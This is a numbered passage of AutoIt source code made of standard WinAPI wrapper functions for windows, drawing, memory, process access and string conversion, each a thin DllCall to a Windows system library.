  2113.     If @error Then Return SetError(@error, @extended, 0)
  2114.     Local $amem[7]
  2115.     $amem[0] = DllStructGetData($tmem, 2)
  2116.     $amem[1] = DllStructGetData($tmem, 3)
  2117.     $amem[2] = DllStructGetData($tmem, 4)
  2118.     $amem[3] = DllStructGetData($tmem, 5)
  2119.     $amem[4] = DllStructGetData($tmem, 6)
  2120.     $amem[5] = DllStructGetData($tmem, 7)
  2121.     $amem[6] = DllStructGetData($tmem, 8)
  2122.     Return $amem
  2123. EndFunc
  2124.  
  2125. Func _winapi_guidfromstring($sguid)
  2126.     Local $tguid = DllStructCreate($tagguid)
  2127.     _winapi_guidfromstringex($sguid, $tguid)
  2128.     If @error Then Return SetError(@error, @extended, 0)
  2129.     Return $tguid
  2130. EndFunc
  2131.  
  2132. Func _winapi_guidfromstringex($sguid, $pguid)
  2133.     Local $aresult = DllCall("ole32.dll", "long", "CLSIDFromString", "wstr", $sguid, "struct*", $pguid)
  2134.     If @error Then Return SetError(@error, @extended, False)
  2135.     Return $aresult[0]
  2136. EndFunc
  2137.  
  2138. Func _winapi_hiword($ilong)
  2139.     Return BitShift($ilong, 16)
  2140. EndFunc
  2141.  
  2142. Func _winapi_inprocess($hwnd, ByRef $hlastwnd)
  2143.     If $hwnd = $hlastwnd Then Return True
  2144.     For $ii = $__gainprocess_winapi[0][0] To 1 Step -1
  2145.         If $hwnd = $__gainprocess_winapi[$ii][0] Then
  2146.             If $__gainprocess_winapi[$ii][1] Then
  2147.                 $hlastwnd = $hwnd
  2148.                 Return True
  2149.             Else
  2150.                 Return False
  2151.             EndIf
  2152.         EndIf
  2153.     Next
  2154.     Local $iprocessid
  2155.     _winapi_getwindowthreadprocessid($hwnd, $iprocessid)
  2156.     Local $icount = $__gainprocess_winapi[0][0] + 1
  2157.     If $icount >= 64 Then $icount = 1
  2158.     $__gainprocess_winapi[0][0] = $icount
  2159.     $__gainprocess_winapi[$icount][0] = $hwnd
  2160.     $__gainprocess_winapi[$icount][1] = ($iprocessid = @AutoItPID)
  2161.     Return $__gainprocess_winapi[$icount][1]
  2162. EndFunc
  2163.  
  2164. Func _winapi_inttofloat($iint)
  2165.     Local $tint = DllStructCreate("int")
  2166.     Local $tfloat = DllStructCreate("float", DllStructGetPtr($tint))
  2167.     DllStructSetData($tint, 1, $iint)
  2168.     Return DllStructGetData($tfloat, 1)
  2169. EndFunc
  2170.  
  2171. Func _winapi_isclassname($hwnd, $sclassname)
  2172.     Local $sseparator = Opt("GUIDataSeparatorChar")
  2173.     Local $aclassname = StringSplit($sclassname, $sseparator)
  2174.     If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd)
  2175.     Local $sclasscheck = _winapi_getclassname($hwnd)
  2176.     For $x = 1 To UBound($aclassname) - 1
  2177.         If StringUpper(StringMid($sclasscheck, 1, StringLen($aclassname[$x]))) = StringUpper($aclassname[$x]) Then Return True
  2178.     Next
  2179.     Return False
  2180. EndFunc
  2181.  
  2182. Func _winapi_iswindow($hwnd)
  2183.     Local $aresult = DllCall("user32.dll", "bool", "IsWindow", "hwnd", $hwnd)
  2184.     If @error Then Return SetError(@error, @extended, 0)
  2185.     Return $aresult[0]
  2186. EndFunc
  2187.  
  2188. Func _winapi_iswindowvisible($hwnd)
  2189.     Local $aresult = DllCall("user32.dll", "bool", "IsWindowVisible", "hwnd", $hwnd)
  2190.     If @error Then Return SetError(@error, @extended, 0)
  2191.     Return $aresult[0]
  2192. EndFunc
  2193.  
  2194. Func _winapi_invalidaterect($hwnd, $trect = 0, $ferase = True)
  2195.     Local $aresult = DllCall("user32.dll", "bool", "InvalidateRect", "hwnd", $hwnd, "struct*", $trect, "bool", $ferase)
  2196.     If @error Then Return SetError(@error, @extended, False)
  2197.     Return $aresult[0]
  2198. EndFunc
  2199.  
  2200. Func _winapi_lineto($hdc, $ix, $iy)
  2201.     Local $aresult = DllCall("gdi32.dll", "bool", "LineTo", "handle", $hdc, "int", $ix, "int", $iy)
  2202.     If @error Then Return SetError(@error, @extended, False)
  2203.     Return $aresult[0]
  2204. EndFunc
  2205.  
  2206. Func _winapi_loadbitmap($hinstance, $sbitmap)
  2207.     Local $sbitmaptype = "int"
  2208.     If IsString($sbitmap) Then $sbitmaptype = "wstr"
  2209.     Local $aresult = DllCall("user32.dll", "handle", "LoadBitmapW", "handle", $hinstance, $sbitmaptype, $sbitmap)
  2210.     If @error Then Return SetError(@error, @extended, 0)
  2211.     Return $aresult[0]
  2212. EndFunc
  2213.  
  2214. Func _winapi_loadimage($hinstance, $simage, $itype, $ixdesired, $iydesired, $iload)
  2215.     Local $aresult, $simagetype = "int"
  2216.     If IsString($simage) Then $simagetype = "wstr"
  2217.     $aresult = DllCall("user32.dll", "handle", "LoadImageW", "handle", $hinstance, $simagetype, $simage, "uint", $itype, "int", $ixdesired, "int", $iydesired, "uint", $iload)
  2218.     If @error Then Return SetError(@error, @extended, 0)
  2219.     Return $aresult[0]
  2220. EndFunc
  2221.  
  2222. Func _winapi_loadlibrary($sfilename)
  2223.     Local $aresult = DllCall("kernel32.dll", "handle", "LoadLibraryW", "wstr", $sfilename)
  2224.     If @error Then Return SetError(@error, @extended, 0)
  2225.     Return $aresult[0]
  2226. EndFunc
  2227.  
  2228. Func _winapi_loadlibraryex($sfilename, $iflags = 0)
  2229.     Local $aresult = DllCall("kernel32.dll", "handle", "LoadLibraryExW", "wstr", $sfilename, "ptr", 0, "dword", $iflags)
  2230.     If @error Then Return SetError(@error, @extended, 0)
  2231.     Return $aresult[0]
  2232. EndFunc
  2233.  
  2234. Func _winapi_loadshell32icon($iiconid)
  2235.     Local $ticons = DllStructCreate("ptr Data")
  2236.     Local $iicons = _winapi_extracticonex("shell32.dll", $iiconid, 0, $ticons, 1)
  2237.     If @error Then Return SetError(@error, @extended, 0)
  2238.     If $iicons <= 0 Then Return SetError(1, 0, 0)
  2239.     Return DllStructGetData($ticons, "Data")
  2240. EndFunc
  2241.  
  2242. Func _winapi_loadstring($hinstance, $istringid)
  2243.     Local $aresult = DllCall("user32.dll", "int", "LoadStringW", "handle", $hinstance, "uint", $istringid, "wstr", "", "int", 4096)
  2244.     If @error Then Return SetError(@error, @extended, "")
  2245.     Return SetExtended($aresult[0], $aresult[3])
  2246. EndFunc
  2247.  
  2248. Func _winapi_localfree($hmem)
  2249.     Local $aresult = DllCall("kernel32.dll", "handle", "LocalFree", "handle", $hmem)
  2250.     If @error Then Return SetError(@error, @extended, False)
  2251.     Return $aresult[0]
  2252. EndFunc
  2253.  
  2254. Func _winapi_loword($ilong)
  2255.     Return BitAND($ilong, 65535)
  2256. EndFunc
  2257.  
  2258. Func _winapi_makelangid($lgidprimary, $lgidsub)
  2259.     Return BitOR(BitShift($lgidsub, -10), $lgidprimary)
  2260. EndFunc
  2261.  
  2262. Func _winapi_makelcid($lgid, $srtid)
  2263.     Return BitOR(BitShift($srtid, -16), $lgid)
  2264. EndFunc
  2265.  
  2266. Func _winapi_makelong($ilo, $ihi)
  2267.     Return BitOR(BitShift($ihi, -16), BitAND($ilo, 65535))
  2268. EndFunc
  2269.  
  2270. Func _winapi_makeqword($lodword, $hidword)
  2271.     Local $tint64 = DllStructCreate("uint64")
  2272.     Local $tdwords = DllStructCreate("dword;dword", DllStructGetPtr($tint64))
  2273.     DllStructSetData($tdwords, 1, $lodword)
  2274.     DllStructSetData($tdwords, 2, $hidword)
  2275.     Return DllStructGetData($tint64, 1)
  2276. EndFunc
  2277.  
  2278. Func _winapi_messagebeep($itype = 1)
  2279.     Local $isound
  2280.     Switch $itype
  2281.         Case 1
  2282.             $isound = 0
  2283.         Case 2
  2284.             $isound = 16
  2285.         Case 3
  2286.             $isound = 32
  2287.         Case 4
  2288.             $isound = 48
  2289.         Case 5
  2290.             $isound = 64
  2291.         Case Else
  2292.             $isound = -1
  2293.     EndSwitch
  2294.     Local $aresult = DllCall("user32.dll", "bool", "MessageBeep", "uint", $isound)
  2295.     If @error Then Return SetError(@error, @extended, False)
  2296.     Return $aresult[0]
  2297. EndFunc
  2298.  
  2299. Func _winapi_msgbox($iflags, $stitle, $stext)
  2300.     BlockInput(0)
  2301.     MsgBox($iflags, $stitle, $stext & "      ")
  2302. EndFunc
  2303.  
  2304. Func _winapi_mouse_event($iflags, $ix = 0, $iy = 0, $idata = 0, $iextrainfo = 0)
  2305.     DllCall("user32.dll", "none", "mouse_event", "dword", $iflags, "dword", $ix, "dword", $iy, "dword", $idata, "ulong_ptr", $iextrainfo)
  2306.     If @error Then Return SetError(@error, @extended)
  2307. EndFunc
  2308.  
  2309. Func _winapi_moveto($hdc, $ix, $iy)
  2310.     Local $aresult = DllCall("gdi32.dll", "bool", "MoveToEx", "handle", $hdc, "int", $ix, "int", $iy, "ptr", 0)
  2311.     If @error Then Return SetError(@error, @extended, False)
  2312.     Return $aresult[0]
  2313. EndFunc
  2314.  
  2315. Func _winapi_movewindow($hwnd, $ix, $iy, $iwidth, $iheight, $frepaint = True)
  2316.     Local $aresult = DllCall("user32.dll", "bool", "MoveWindow", "hwnd", $hwnd, "int", $ix, "int", $iy, "int", $iwidth, "int", $iheight, "bool", $frepaint)
  2317.     If @error Then Return SetError(@error, @extended, False)
  2318.     Return $aresult[0]
  2319. EndFunc
  2320.  
  2321. Func _winapi_muldiv($inumber, $inumerator, $idenominator)
  2322.     Local $aresult = DllCall("kernel32.dll", "int", "MulDiv", "int", $inumber, "int", $inumerator, "int", $idenominator)
  2323.     If @error Then Return SetError(@error, @extended, -1)
  2324.     Return $aresult[0]
  2325. EndFunc
  2326.  
  2327. Func _winapi_multibytetowidechar($stext, $icodepage = 0, $iflags = 0, $bretstring = False)
  2328.     Local $stexttype = "str"
  2329.     If NOT IsString($stext) Then $stexttype = "struct*"
  2330.     Local $aresult = DllCall("kernel32.dll", "int", "MultiByteToWideChar", "uint", $icodepage, "dword", $iflags, $stexttype, $stext, "int", -1, "ptr", 0, "int", 0)
  2331.     If @error Then Return SetError(@error, @extended, 0)
  2332.     Local $iout = $aresult[0]
  2333.     Local $tout = DllStructCreate("wchar[" & $iout & "]")
  2334.     $aresult = DllCall("kernel32.dll", "int", "MultiByteToWideChar", "uint", $icodepage, "dword", $iflags, $stexttype, $stext, "int", -1, "struct*", $tout, "int", $iout)
  2335.     If @error Then Return SetError(@error, @extended, 0)
  2336.     If $bretstring Then Return DllStructGetData($tout, 1)
  2337.     Return $tout
  2338. EndFunc
  2339.  
  2340. Func _winapi_multibytetowidecharex($stext, $ptext, $icodepage = 0, $iflags = 0)
  2341.     Local $aresult = DllCall("kernel32.dll", "int", "MultiByteToWideChar", "uint", $icodepage, "dword", $iflags, "STR", $stext, "int", -1, "struct*", $ptext, "int", (StringLen($stext) + 1) * 2)
  2342.     If @error Then Return SetError(@error, @extended, False)
  2343.     Return $aresult[0]
  2344. EndFunc
  2345.  
  2346. Func _winapi_openprocess($iaccess, $finherit, $iprocessid, $fdebugpriv = False)
  2347.     Local $aresult = DllCall("kernel32.dll", "handle", "OpenProcess", "dword", $iaccess, "bool", $finherit, "dword", $iprocessid)
  2348.     If @error Then Return SetError(@error, @extended, 0)
  2349.     If $aresult[0] Then Return $aresult[0]
  2350.     If NOT $fdebugpriv Then Return 0
  2351.     Local $htoken = _security__openthreadtokenex(BitOR($token_adjust_privileges, $token_query))
  2352.     If @error Then Return SetError(@error, @extended, 0)
  2353.     _security__setprivilege($htoken, "SeDebugPrivilege", True)
  2354.     Local $ierror = @error
  2355.     Local $ilasterror = @extended
  2356.     Local $iret = 0
  2357.     If NOT @error Then
  2358.         $aresult = DllCall("kernel32.dll", "handle", "OpenProcess", "dword", $iaccess, "bool", $finherit, "dword", $iprocessid)
  2359.         $ierror = @error
  2360.         $ilasterror = @extended
  2361.         If $aresult[0] Then $iret = $aresult[0]
  2362.         _security__setprivilege($htoken, "SeDebugPrivilege", False)
  2363.         If @error Then
  2364.             $ierror = @error
  2365.             $ilasterror = @extended
  2366.         EndIf
  2367.     EndIf
  2368.     _winapi_closehandle($htoken)
  2369.     Return SetError($ierror, $ilasterror, $iret)
  2370. EndFunc
  2371.  
  2372. Func __winapi_parsefiledialogpath($spath)
  2373.     Local $afiles[3]
  2374.     $afiles[0] = 2
  2375.     Local $stemp = StringMid($spath, 1, StringInStr($spath, "\", 0, -1) - 1)
  2376.     $afiles[1] = $stemp
  2377.     $afiles[2] = StringMid($spath, StringInStr($spath, "\", 0, -1) + 1)
  2378.     Return $afiles
  2379. EndFunc
  2380.  
  2381. Func _winapi_pathfindonpath(Const $szfile, $aextrapaths = "", Const $szpathdelimiter = @LF)
  2382.     Local $iextracount = 0
  2383.     If IsString($aextrapaths) Then
  2384.         If StringLen($aextrapaths) Then
  2385.             $aextrapaths = StringSplit($aextrapaths, $szpathdelimiter, 1 + 2)
  2386.             $iextracount = UBound($aextrapaths, 1)
  2387.         EndIf
  2388.     ElseIf IsArray($aextrapaths) Then
  2389.         $iextracount = UBound($aextrapaths)
  2390.     EndIf
  2391.     Local $tpaths, $tpathptrs
  2392.     If $iextracount Then
  2393.         Local $szstruct = ""
  2394.         For $path In $aextrapaths
  2395.             $szstruct &= "wchar[" & StringLen($path) + 1 & "];"
  2396.         Next
  2397.         $tpaths = DllStructCreate($szstruct)
  2398.         $tpathptrs = DllStructCreate("ptr[" & $iextracount + 1 & "]")
  2399.         For $i = 1 To $iextracount
  2400.             DllStructSetData($tpaths, $i, $aextrapaths[$i - 1])
  2401.             DllStructSetData($tpathptrs, 1, DllStructGetPtr($tpaths, $i), $i)
  2402.         Next
  2403.         DllStructSetData($tpathptrs, 1, Ptr(0), $iextracount + 1)
  2404.     EndIf
  2405.     Local $aresult = DllCall("shlwapi.dll", "bool", "PathFindOnPathW", "wstr", $szfile, "struct*", $tpathptrs)
  2406.     If @error Then Return SetError(@error, @extended, False)
  2407.     If $aresult[0] = 0 Then Return SetError(1, 0, $szfile)
  2408.     Return $aresult[1]
  2409. EndFunc
  2410.  
  2411. Func _winapi_pointfromrect(ByRef $trect, $fcenter = True)
  2412.     Local $ix1 = DllStructGetData($trect, "Left")
  2413.     Local $iy1 = DllStructGetData($trect, "Top")
  2414.     Local $ix2 = DllStructGetData($trect, "Right")
  2415.     Local $iy2 = DllStructGetData($trect, "Bottom")
  2416.     If $fcenter Then
  2417.         $ix1 = $ix1 + (($ix2 - $ix1) / 2)
  2418.         $iy1 = $iy1 + (($iy2 - $iy1) / 2)
  2419.     EndIf
  2420.     Local $tpoint = DllStructCreate($tagpoint)
  2421.     DllStructSetData($tpoint, "X", $ix1)
  2422.     DllStructSetData($tpoint, "Y", $iy1)
  2423.     Return $tpoint
  2424. EndFunc
  2425.  
  2426. Func _winapi_postmessage($hwnd, $imsg, $iwparam, $ilparam)
  2427.     Local $aresult = DllCall("user32.dll", "bool", "PostMessage", "hwnd", $hwnd, "uint", $imsg, "wparam", $iwparam, "lparam", $ilparam)
  2428.     If @error Then Return SetError(@error, @extended, False)
  2429.     Return $aresult[0]
  2430. EndFunc
  2431.  
  2432. Func _winapi_primarylangid($lgid)
  2433.     Return BitAND($lgid, 1023)
  2434. EndFunc
  2435.  
  2436. Func _winapi_ptinrect(ByRef $trect, ByRef $tpoint)
  2437.     Local $aresult = DllCall("user32.dll", "bool", "PtInRect", "struct*", $trect, "struct", $tpoint)
  2438.     If @error Then Return SetError(1, @extended, False)
  2439.     Return NOT ($aresult[0] = 0)
  2440. EndFunc
  2441.  
  2442. Func _winapi_readfile($hfile, $pbuffer, $itoread, ByRef $iread, $poverlapped = 0)
  2443.     Local $aresult = DllCall("kernel32.dll", "bool", "ReadFile", "handle", $hfile, "ptr", $pbuffer, "dword", $itoread, "dword*", 0, "ptr", $poverlapped)
  2444.     If @error Then Return SetError(@error, @extended, False)
  2445.     $iread = $aresult[4]
  2446.     Return $aresult[0]
  2447. EndFunc
  2448.  
  2449. Func _winapi_readprocessmemory($hprocess, $pbaseaddress, $pbuffer, $isize, ByRef $iread)
  2450.     Local $aresult = DllCall("kernel32.dll", "bool", "ReadProcessMemory", "handle", $hprocess, "ptr", $pbaseaddress, "ptr", $pbuffer, "ulong_ptr", $isize, "ulong_ptr*", 0)
  2451.     If @error Then Return SetError(@error, @extended, False)
  2452.     $iread = $aresult[5]
  2453.     Return $aresult[0]
  2454. EndFunc
  2455.  
  2456. Func _winapi_rectisempty(ByRef $trect)
  2457.     Return (DllStructGetData($trect, "Left") = 0) AND (DllStructGetData($trect, "Top") = 0) AND (DllStructGetData($trect, "Right") = 0) AND (DllStructGetData($trect, "Bottom") = 0)
  2458. EndFunc
  2459.  
  2460. Func _winapi_redrawwindow($hwnd, $trect = 0, $hregion = 0, $iflags = 5)
  2461.     Local $aresult = DllCall("user32.dll", "bool", "RedrawWindow", "hwnd", $hwnd, "struct*", $trect, "handle", $hregion, "uint", $iflags)
  2462.     If @error Then Return SetError(@error, @extended, False)
  2463.     Return $aresult[0]
  2464. EndFunc
  2465.  
  2466. Func _winapi_registerwindowmessage($smessage)
  2467.     Local $aresult = DllCall("user32.dll", "uint", "RegisterWindowMessageW", "wstr", $smessage)
  2468.     If @error Then Return SetError(@error, @extended, 0)
  2469.     Return $aresult[0]
  2470. EndFunc
  2471.  
  2472. Func _winapi_releasecapture()
  2473.     Local $aresult = DllCall("user32.dll", "bool", "ReleaseCapture")
  2474.     If @error Then Return SetError(@error, @extended, False)
  2475.     Return $aresult[0]
  2476. EndFunc
  2477.  
  2478. Func _winapi_releasedc($hwnd, $hdc)
  2479.     Local $aresult = DllCall("user32.dll", "int", "ReleaseDC", "hwnd", $hwnd, "handle", $hdc)
  2480.     If @error Then Return SetError(@error, @extended, False)
  2481.     Return $aresult[0]
  2482. EndFunc
  2483.  
  2484. Func _winapi_screentoclient($hwnd, ByRef $tpoint)
  2485.     Local $aresult = DllCall("user32.dll", "bool", "ScreenToClient", "hwnd", $hwnd, "struct*", $tpoint)
  2486.     If @error Then Return SetError(@error, @extended, False)
  2487.     Return $aresult[0]
  2488. EndFunc
  2489.  
  2490. Func _winapi_selectobject($hdc, $hgdiobj)
  2491.     Local $aresult = DllCall("gdi32.dll", "handle", "SelectObject", "handle", $hdc, "handle", $hgdiobj)
  2492.     If @error Then Return SetError(@error, @extended, False)
  2493.     Return $aresult[0]
  2494. EndFunc
  2495.  
  2496. Func _winapi_setbkcolor($hdc, $icolor)
  2497.     Local $aresult = DllCall("gdi32.dll", "INT", "SetBkColor", "handle", $hdc, "dword", $icolor)
  2498.     If @error Then Return SetError(@error, @extended, -1)
  2499.     Return $aresult[0]
  2500. EndFunc
  2501.  
  2502. Func _winapi_setbkmode($hdc, $ibkmode)
  2503.     Local $aresult = DllCall("gdi32.dll", "int", "SetBkMode", "handle", $hdc, "int", $ibkmode)
  2504.     If @error Then Return SetError(@error, @extended, 0)
  2505.     Return $aresult[0]
  2506. EndFunc
  2507.  
  2508. Func _winapi_setcapture($hwnd)
  2509.     Local $aresult = DllCall("user32.dll", "hwnd", "SetCapture", "hwnd", $hwnd)
  2510.     If @error Then Return SetError(@error, @extended, 0)
  2511.     Return $aresult[0]
  2512. EndFunc
  2513.  
  2514. Func _winapi_setcursor($hcursor)
  2515.     Local $aresult = DllCall("user32.dll", "handle", "SetCursor", "handle", $hcursor)
  2516.     If @error Then Return SetError(@error, @extended, 0)
  2517.     Return $aresult[0]
  2518. EndFunc
  2519.  
  2520. Func _winapi_setdefaultprinter($sprinter)
  2521.     Local $aresult = DllCall("winspool.drv", "bool", "SetDefaultPrinterW", "wstr", $sprinter)
  2522.     If @error Then Return SetError(@error, @extended, False)
  2523.     Return $aresult[0]
  2524. EndFunc
  2525.  
  2526. Func _winapi_setdibits($hdc, $hbmp, $istartscan, $iscanlines, $pbits, $pbmi, $icoloruse = 0)
  2527.     Local $aresult = DllCall("gdi32.dll", "int", "SetDIBits", "handle", $hdc, "handle", $hbmp, "uint", $istartscan, "uint", $iscanlines, "ptr", $pbits, "ptr", $pbmi, "uint", $icoloruse)
  2528.     If @error Then Return SetError(@error, @extended, False)
  2529.     Return $aresult[0]
  2530. EndFunc
  2531.  
  2532. Func _winapi_setendoffile($hfile)
  2533.     Local $aresult = DllCall("kernel32.dll", "bool", "SetEndOfFile", "handle", $hfile)
  2534.     If @error Then Return SetError(@error, @extended, False)
  2535.     Return $aresult[0]
  2536. EndFunc
  2537.  
  2538. Func _winapi_setevent($hevent)
  2539.     Local $aresult = DllCall("kernel32.dll", "bool", "SetEvent", "handle", $hevent)
  2540.     If @error Then Return SetError(@error, @extended, False)
  2541.     Return $aresult[0]
  2542. EndFunc
  2543.  
  2544. Func _winapi_setfilepointer($hfile, $ipos, $imethod = 0)
  2545.     Local $aresult = DllCall("kernel32.dll", "INT", "SetFilePointer", "handle", $hfile, "long", $ipos, "ptr", 0, "long", $imethod)
  2546.     If @error Then Return SetError(@error, @extended, -1)
  2547.     Return $aresult[0]
  2548. EndFunc
  2549.  
  2550. Func _winapi_setfocus($hwnd)
  2551.     Local $aresult = DllCall("user32.dll", "hwnd", "SetFocus", "hwnd", $hwnd)
  2552.     If @error Then Return SetError(@error, @extended, 0)
  2553.     Return $aresult[0]
  2554. EndFunc
  2555.  
  2556. Func _winapi_setfont($hwnd, $hfont, $fredraw = True)
  2557.     _sendmessage($hwnd, $__winapiconstant_wm_setfont, $hfont, $fredraw, 0, "hwnd")
  2558. EndFunc
  2559.  
  2560. Func _winapi_sethandleinformation($hobject, $imask, $iflags)
  2561.     Local $aresult = DllCall("kernel32.dll", "bool", "SetHandleInformation", "handle", $hobject, "dword", $imask, "dword", $iflags)
  2562.     If @error Then Return SetError(@error, @extended, False)
  2563.     Return $aresult[0]
  2564. EndFunc
  2565.  
  2566. Func _winapi_setlayeredwindowattributes($hwnd, $i_transcolor, $transparency = 255, $dwflags = 3, $iscolorref = False)
  2567.     If $dwflags = Default OR $dwflags = "" OR $dwflags < 0 Then $dwflags = 3
  2568.     If NOT $iscolorref Then
  2569.         $i_transcolor = Int(BinaryMid($i_transcolor, 3, 1) & BinaryMid($i_transcolor, 2, 1) & BinaryMid($i_transcolor, 1, 1))
  2570.     EndIf
  2571.     Local $aresult = DllCall("user32.dll", "bool", "SetLayeredWindowAttributes", "hwnd", $hwnd, "dword", $i_transcolor, "byte", $transparency, "dword", $dwflags)
  2572.     If @error Then Return SetError(@error, @extended, False)
  2573.     Return $aresult[0]
  2574. EndFunc
  2575.  
  2576. Func _winapi_setparent($hwndchild, $hwndparent)
  2577.     Local $aresult = DllCall("user32.dll", "hwnd", "SetParent", "hwnd", $hwndchild, "hwnd", $hwndparent)
  2578.     If @error Then Return SetError(@error, @extended, 0)
  2579.     Return $aresult[0]
  2580. EndFunc
  2581.  
  2582. Func _winapi_setprocessaffinitymask($hprocess, $imask)
  2583.     Local $aresult = DllCall("kernel32.dll", "bool", "SetProcessAffinityMask", "handle", $hprocess, "ulong_ptr", $imask)
  2584.     If @error Then Return SetError(@error, @extended, False)
  2585.     Return $aresult[0]
  2586. EndFunc
  2587.  
  2588. Func _winapi_setsyscolors($velements, $vcolors)
  2589.     Local $isearray = IsArray($velements), $iscarray = IsArray($vcolors)
  2590.     Local $ielementnum
  2591.     If NOT $iscarray AND NOT $isearray Then
  2592.         $ielementnum = 1
  2593.     ElseIf $iscarray OR $isearray Then
  2594.         If NOT $iscarray OR NOT $isearray Then Return SetError(-1, -1, False)
  2595.         If UBound($velements) <> UBound($vcolors) Then Return SetError(-1, -1, False)
  2596.         $ielementnum = UBound($velements)
  2597.     EndIf
  2598.     Local $telements = DllStructCreate("int Element[" & $ielementnum & "]")
  2599.     Local $tcolors = DllStructCreate("dword NewColor[" & $ielementnum & "]")
  2600.     If NOT $isearray Then
  2601.         DllStructSetData($telements, "Element", $velements, 1)
  2602.     Else
  2603.         For $x = 0 To $ielementnum - 1
  2604.             DllStructSetData($telements, "Element", $velements[$x], $x + 1)
  2605.         Next
  2606.     EndIf
  2607.     If NOT $iscarray Then
  2608.         DllStructSetData($tcolors, "NewColor", $vcolors, 1)
  2609.     Else
  2610.         For $x = 0 To $ielementnum - 1
  2611.             DllStructSetData($tcolors, "NewColor", $vcolors[$x], $x + 1)
  2612.         Next
  2613.     EndIf
  2614.     Local $aresult = DllCall("user32.dll", "bool", "SetSysColors", "int", $ielementnum, "struct*", $telements, "struct*", $tcolors)
  2615.     If @error Then Return SetError(@error, @extended, False)
  2616.     Return $aresult[0]
  2617. EndFunc
  2618.  
  2619. Func _winapi_settextcolor($hdc, $icolor)
  2620.     Local $aresult = DllCall("gdi32.dll", "INT", "SetTextColor", "handle", $hdc, "dword", $icolor)
  2621.     If @error Then Return SetError(@error, @extended, -1)
  2622.     Return $aresult[0]
  2623. EndFunc
  2624.  
  2625. Func _winapi_setwindowlong($hwnd, $iindex, $ivalue)
  2626.     _winapi_setlasterror(0)
  2627.     Local $sfuncname = "SetWindowLongW"
  2628.     If @AutoItX64 Then $sfuncname = "SetWindowLongPtrW"
  2629.     Local $aresult = DllCall("user32.dll", "long_ptr", $sfuncname, "hwnd", $hwnd, "int", $iindex, "long_ptr", $ivalue)
  2630.     If @error Then Return SetError(@error, @extended, 0)
  2631.     Return $aresult[0]
  2632. EndFunc
  2633.  
  2634. Func _winapi_setwindowplacement($hwnd, $pwindowplacement)
  2635.     Local $aresult = DllCall("user32.dll", "bool", "SetWindowPlacement", "hwnd", $hwnd, "ptr", $pwindowplacement)
  2636.     If @error Then Return SetError(@error, @extended, False)
  2637.     Return $aresult[0]
  2638. EndFunc
  2639.  
  2640. Func _winapi_setwindowpos($hwnd, $hafter, $ix, $iy, $icx, $icy, $iflags)
  2641.     Local $aresult = DllCall("user32.dll", "bool", "SetWindowPos", "hwnd", $hwnd, "hwnd", $hafter, "int", $ix, "int", $iy, "int", $icx, "int", $icy, "uint", $iflags)
  2642.     If @error Then Return SetError(@error, @extended, False)
  2643.     Return $aresult[0]
  2644. EndFunc
  2645.  
  2646. Func _winapi_setwindowrgn($hwnd, $hrgn, $bredraw = True)
  2647.     Local $aresult = DllCall("user32.dll", "int", "SetWindowRgn", "hwnd", $hwnd, "handle", $hrgn, "bool", $bredraw)
  2648.     If @error Then Return SetError(@error, @extended, False)
  2649.     Return $aresult[0]
  2650. EndFunc
  2651.  
  2652. Func _winapi_setwindowshookex($idhook, $lpfn, $hmod, $dwthreadid = 0)
  2653.     Local $aresult = DllCall("user32.dll", "handle", "SetWindowsHookEx", "int", $idhook, "ptr", $lpfn, "handle", $hmod, "dword", $dwthreadid)
  2654.     If @error Then Return SetError(@error, @extended, 0)
  2655.     Return $aresult[0]
  2656. EndFunc
  2657.  
  2658. Func _winapi_setwindowtext($hwnd, $stext)
  2659.     Local $aresult = DllCall("user32.dll", "bool", "SetWindowTextW", "hwnd", $hwnd, "wstr", $stext)
  2660.     If @error Then Return SetError(@error, @extended, False)
  2661.     Return $aresult[0]
  2662. EndFunc
  2663.  
  2664. Func _winapi_showcursor($fshow)
  2665.     Local $aresult = DllCall("user32.dll", "int", "ShowCursor", "bool", $fshow)
  2666.     If @error Then Return SetError(@error, @extended, 0)
  2667.     Return $aresult[0]
  2668. EndFunc
  2669.  
  2670. Func _winapi_showerror($stext, $fexit = True)
  2671.     _winapi_msgbox(266256, "Error", $stext)
  2672.     If $fexit Then Exit
  2673. EndFunc
  2674.  
  2675. Func _winapi_showmsg($stext)
  2676.     _winapi_msgbox(64 + 4096, "Information", $stext)
  2677. EndFunc
  2678.  
  2679. Func _winapi_showwindow($hwnd, $icmdshow = 5)
  2680.     Local $aresult = DllCall("user32.dll", "bool", "ShowWindow", "hwnd", $hwnd, "int", $icmdshow)
  2681.     If @error Then Return SetError(@error, @extended, False)
  2682.     Return $aresult[0]
  2683. EndFunc
  2684.  
  2685. Func _winapi_stringfromguid($pguid)
  2686.     Local $aresult = DllCall("ole32.dll", "int", "StringFromGUID2", "struct*", $pguid, "wstr", "", "int", 40)
  2687.     If @error Then Return SetError(@error, @extended, "")
  2688.     Return SetExtended($aresult[0], $aresult[2])
  2689. EndFunc
  2690.  
  2691. Func _winapi_stringlena($vstring)
  2692.     Local $acall = DllCall("kernel32.dll", "int", "lstrlenA", "struct*", $vstring)
  2693.     If @error Then Return SetError(1, @extended, 0)
  2694.     Return $acall[0]
  2695. EndFunc
  2696.  
  2697. Func _winapi_stringlenw($vstring)
  2698.     Local $acall = DllCall("kernel32.dll", "int", "lstrlenW", "struct*", $vstring)
  2699.     If @error Then Return SetError(1, @extended, 0)
  2700.     Return $acall[0]
  2701. EndFunc
  2702.  
  2703. Func _winapi_sublangid($lgid)
  2704.     Return BitShift($lgid, 10)
  2705. EndFunc
  2706.  
  2707. Func _winapi_systemparametersinfo($iaction, $iparam = 0, $vparam = 0, $iwinini = 0)
  2708.     Local $aresult = DllCall("user32.dll", "bool", "SystemParametersInfoW", "uint", $iaction, "uint", $iparam, "ptr", $vparam, "uint", $iwinini)
  2709.     If @error Then Return SetError(@error, @extended, False)
  2710.     Return $aresult[0]
  2711. EndFunc
  2712.  
  2713. Func _winapi_twipsperpixelx()
  2714.     Local $lngdc, $twipsperpixelx
  2715.     $lngdc = _winapi_getdc(0)
  2716.     $twipsperpixelx = 1440 / _winapi_getdevicecaps($lngdc, $__winapiconstant_logpixelsx)
  2717.     _winapi_releasedc(0, $lngdc)
  2718.     Return $twipsperpixelx
  2719. EndFunc
  2720.  
  2721. Func _winapi_twipsperpixely()
  2722.     Local $lngdc, $twipsperpixely
  2723.     $lngdc = _winapi_getdc(0)
  2724.     $twipsperpixely = 1440 / _winapi_getdevicecaps($lngdc, $__winapiconstant_logpixelsy)
  2725.     _winapi_releasedc(0, $lngdc)
  2726.     Return $twipsperpixely
  2727. EndFunc
  2728.  
